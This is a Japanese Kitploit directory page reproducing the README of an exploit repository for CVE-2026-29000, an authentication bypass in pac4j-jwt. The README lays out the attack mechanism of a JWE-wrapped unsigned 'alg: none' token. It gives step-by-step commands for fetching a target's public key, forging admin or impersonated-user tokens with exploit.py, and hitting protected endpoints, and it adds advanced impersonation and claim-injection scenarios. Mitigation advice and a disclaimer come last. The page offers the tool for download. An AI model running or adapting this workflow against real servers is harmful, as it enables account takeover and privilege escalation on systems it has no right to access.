Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2026-29000 — CVE-2026-29000 のエクスプロイト。pac4j-jwt における JWE でラップされた PlainJWT を介した JWT 認証バイパスであり、トークンの偽造と権限昇格を可能にします。 | Kitploit
ツール/GitHubGitHub/rootx111/cve-2026-29000
認証と認可脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubrootx111/cve-2026-29000

cve-2026-29000

CVE-2026-29000 のエクスプロイト。pac4j-jwt における JWE でラップされた PlainJWT を介した JWT 認証バイパスであり、トークンの偽造と権限昇格を可能にします。

リポジトリを見る
215ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-29000 エクスプロイト

pac4j-jwt における JWE ラップ PlainJWT を介した JWT 認証バイパス

脆弱性の説明

CVE-2026-29000 は、4.5.9、5.7.9、6.3.3 より前のバージョンの pac4j-jwt に影響を与える重大な認証バイパス脆弱性です。この脆弱性により、リモートの攻撃者が認証トークンを偽造し、署名検証をバイパスできるようになります。

技術的詳細

この脆弱性は、暗号化された JWT(JWE)を処理する際に JwtAuthenticator コンポーネントに存在します。JWE トークンを受信すると:

  1. サーバーは RSA 秘密鍵を使用して JWE を復号化します
  2. 復号化されたコンテンツから内部 JWT が明らかになります
  3. 脆弱性: サーバーは内部 JWT の署名を検証せずにクレームを抽出します
  4. 攻撃者は、任意のクレームを持つ PlainJWT(アルゴリズム: "none")をラップした JWE を作成できます

攻撃の要件

  • サーバーの RSA 公開鍵へのアクセス(多くの場合、JWKS エンドポイント経由で公開)
  • 脆弱なアプリケーションに細工したトークンを送信する能力

影響

  • 完全な認証バイパス: 攻撃者は任意のユーザーとして認証できます
  • 権限昇格: 管理者ロールを含む任意のロールを割り当てることができます
  • セッションハイジャック: 資格情報なしで正当なユーザーになりすますことができます

影響を受けるバージョン

  • pac4j-jwt < 4.5.9
  • pac4j-jwt < 5.7.9
  • pac4j-jwt < 6.3.3

リポジトリの内容

  • exploit.py - 悪意のあるトークンを生成する Python エクスプロイトスクリプト
  • vulnerable_server.py - 脆弱性をシミュレートするデモサーバー
  • requirements.txt - Python の依存関係
  • README.md - このファイル

インストール

前提条件

  • Python 3.8 以上
  • pip パッケージマネージャー

セットアップ

root@kitploit:~
# リポジトリをクローン
git clone https://github.com/RootX111/cve-2026-29000.git
cd cve-2026-29000

# 依存関係をインストール
pip3 install -r requirements.txt

使用方法

ステップ 1: 脆弱なテストサーバーを起動

root@kitploit:~
python3 vulnerable_server.py

サーバーは以下を行います:

  • RSA キーペアを生成(server_private.pem と server_public.pem に保存)
  • http://127.0.0.1:5000 で起動
  • http://127.0.0.1:5000/public-key で公開鍵を公開

ステップ 2: ターゲットの公開鍵を取得

実際の攻撃シナリオでは、ターゲットサーバーから公開鍵を取得します:

root@kitploit:~
# JWKS エンドポイントから公開鍵をダウンロード
curl http://target-server.com/jwks > target_jwks.json

# または直接公開鍵エンドポイントから
curl http://target-server.com/public-key > target_public.pem

テストサーバーの場合:

root@kitploit:~
curl http://127.0.0.1:5000/public-key > server_public.pem

ステップ 3: 悪意のあるトークンを生成

エクスプロイトスクリプトを使用して、JWE ラップ PlainJWT を作成します:

root@kitploit:~
# 基本的な使用法 - admin として認証
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem

# 複数のロールを持つ特定のユーザーとして認証
python3 exploit.py --subject john.doe --roles ROLE_USER,ROLE_MANAGER --public-key server_public.pem

# カスタムクレームを追加
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
  --claims '{"email":"[email protected]","department":"IT"}'

# トークンをファイルに保存
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
  --output malicious_token.txt

ステップ 4: 攻撃をテスト

脆弱なサーバーに対するテスト

root@kitploit:~
# 悪意のあるトークンを設定(exploit.py の出力からコピー)
TOKEN="eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIn0..."

# 公開エンドポイントにアクセス(動作するはず)
curl http://127.0.0.1:5000/api/public

# 悪意のあるトークンでユーザーエンドポイントにアクセス(バイパス!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user

# 悪意のあるトークンで管理者エンドポイントにアクセス(権限昇格!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

管理者エンドポイントからの期待される成功出力:

root@kitploit:~
{
  "status": "success",
  "message": "Admin endpoint accessed - RESTRICTED DATA",
  "user": "admin",
  "roles": ["ROLE_ADMIN"],
  "secret_data": "FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}",
  "admin_info": "This is sensitive administrative data"
}

完全な攻撃ワークフロー

完全なテストコマンド

root@kitploit:~
# 1. 依存関係をインストール
pip3 install -r requirements.txt

# 2. 脆弱なサーバーを起動(ターミナル 1)
python3 vulnerable_server.py

# 3. 新しいターミナルで公開鍵を取得
curl http://127.0.0.1:5000/public-key > server_public.pem

# 4. 悪意のある管理者トークンを生成
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt

# 5. トークンを変数に抽出
TOKEN=$(cat token.txt)

# 6. 公開エンドポイントをテスト(ベースライン - 認証不要)
curl http://127.0.0.1:5000/api/public

# 7. ユーザーエンドポイントをテスト(悪意のあるトークンで成功するはず)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user

# 8. 管理者エンドポイントをテスト(エクスプロイト成功 - 制限付きデータにアクセスできるはず)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

# 9. レスポンスにフラグが含まれていることを確認
curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin | grep -o 'FLAG{.*}'

高度な攻撃シナリオ

シナリオ 1: 特定のユーザーになりすます

root@kitploit:~
python3 exploit.py --subject [email protected] --roles ROLE_USER --public-key server_public.pem

シナリオ 2: 管理者に昇格

root@kitploit:~
python3 exploit.py --subject attacker --roles ROLE_ADMIN,ROLE_SUPERUSER --public-key server_public.pem

シナリオ 3: カスタムクレームの注入

root@kitploit:~
python3 exploit.py --subject hacker --roles ROLE_ADMIN --public-key server_public.pem \
  --claims '{"email":"[email protected]","isVerified":true,"permissions":["*"]}'

エクスプロイトスクリプトのオプション

root@kitploit:~
usage: exploit.py [-h] [--subject SUBJECT] [--roles ROLES] [--public-key PUBLIC_KEY]
                  [--claims CLAIMS] [--generate-keypair] [--output OUTPUT]

CVE-2026-29000: Generate malicious JWE-wrapped PlainJWT tokens

options:
  -h, --help            show this help message and exit
  --subject SUBJECT, -s SUBJECT
                        Subject (username) to impersonate
  --roles ROLES, -r ROLES
                        Comma-separated list of roles (e.g., ROLE_ADMIN,ROLE_USER)
  --public-key PUBLIC_KEY, -k PUBLIC_KEY
                        Path to RSA public key PEM file
  --claims CLAIMS, -c CLAIMS
                        Additional claims as JSON string
  --generate-keypair, -g
                        Generate a test RSA keypair and save to files
  --output OUTPUT, -o OUTPUT
                        Output file for the generated token

脆弱性の仕組み

通常の JWT フロー(安全)

root@kitploit:~
1. クライアントが署名付き JWT を送信
2. サーバーが公開鍵で署名を検証
3. 有効な場合、クレームを抽出
4. クレームに基づいてアクセスを許可

脆弱なフロー(CVE-2026-29000)

root@kitploit:~
1. 攻撃者がサーバーの RSA 公開鍵を取得
2. 攻撃者が任意のクレームを持つ PlainJWT(alg: none)を作成
   例: {"sub": "admin", "roles": ["ROLE_ADMIN"]}
3. 攻撃者がサーバーの公開鍵を使用して JWE で PlainJWT を暗号化
4. サーバーが JWE の復号化に成功
5. サーバーが署名検証なしで内部 PlainJWT からクレームを抽出
6. サーバーが偽造されたクレームに基づいてアクセスを許可

なぜ機能するのか

この脆弱性は以下の理由で発生します:

  • JWE は内部コンテンツに対して機密性を提供しますが、完全性は提供しません
  • サーバーは復号化の成功が信頼性を意味すると想定します
  • PlainJWT(alg: none)には検証する署名がありません
  • クレームは暗号化されたという理由だけで信頼されます

緩和策

開発者向け

  1. pac4j-jwt をバージョン 4.5.9、5.7.9、6.3.3 以降に更新
  2. JWE 復号化後に常に内部 JWT の署名を検証
  3. PlainJWT トークン(アルゴリズム: "none")を拒否
  4. JWT ヘッダーのアルゴリズムを許可リストに対して検証

システム管理者向け

  1. 脆弱なアプリケーションを直ちに更新
  2. 認証ログで不審なアクティビティを監査
  3. ユーザーセッションを確認し、不審なトークンを失効
  4. 追加の認証レイヤーの実装を検討

安全な実装

root@kitploit:~
def verify_jwe_token_secure(token, private_key):
    # 1. JWE を復号化
    inner_jwt = decrypt_jwe(token, private_key)

    # 2. 内部 JWT ヘッダーを解析
    header = parse_jwt_header(inner_jwt)

    # 3. 重要: アルゴリズムが "none" でないことを確認
    if header.get('alg') == 'none':
        raise SecurityError("PlainJWT not allowed")

    # 4. 重要: 内部 JWT の署名を検証
    if not verify_jwt_signature(inner_jwt, public_key):
        raise SecurityError("Invalid JWT signature")

    # 5. 検証後にのみクレームを抽出
    return extract_claims(inner_jwt)

テストチェックリスト

  • 依存関係をインストール: pip3 install -r requirements.txt
  • 脆弱なサーバーを起動: python3 vulnerable_server.py
  • 公開鍵を取得: curl http://127.0.0.1:5000/public-key > server_public.pem
  • 悪意のあるトークンを生成: python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem
  • 公開エンドポイントをテスト: curl http://127.0.0.1:5000/api/public
  • トークンでユーザーエンドポイントをテスト: curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
  • トークンで管理者エンドポイントをテスト: curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

クイックスタートガイド

root@kitploit:~
# ワンライナーのセットアップとテスト
pip3 install -r requirements.txt && \
python3 vulnerable_server.py &
sleep 2 && \
curl http://127.0.0.1:5000/public-key > server_public.pem && \
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt && \
TOKEN=$(cat token.txt) && \
echo "Testing exploit..." && \
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

参考情報

  • CVE-2026-29000 アドバイザリ
  • pac4j セキュリティアドバイザリ
  • OWASP JWT セキュリティチートシート
  • RFC 7519(JSON Web Token)
  • RFC 7516(JSON Web Encryption)

免責事項

このツールは教育目的および許可されたセキュリティテスト専用に提供されています。コンピュータシステムへの不正アクセスは違法です。このツールは、所有しているシステムまたはテストの明示的な許可があるシステムに対してのみ使用してください。

ライセンス

MIT ライセンス - 教育目的専用

作者

セキュリティ研究者 日付: 2026-03-16

ツールをダウンロード
  • フラグが取得されることを確認: FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS} を探す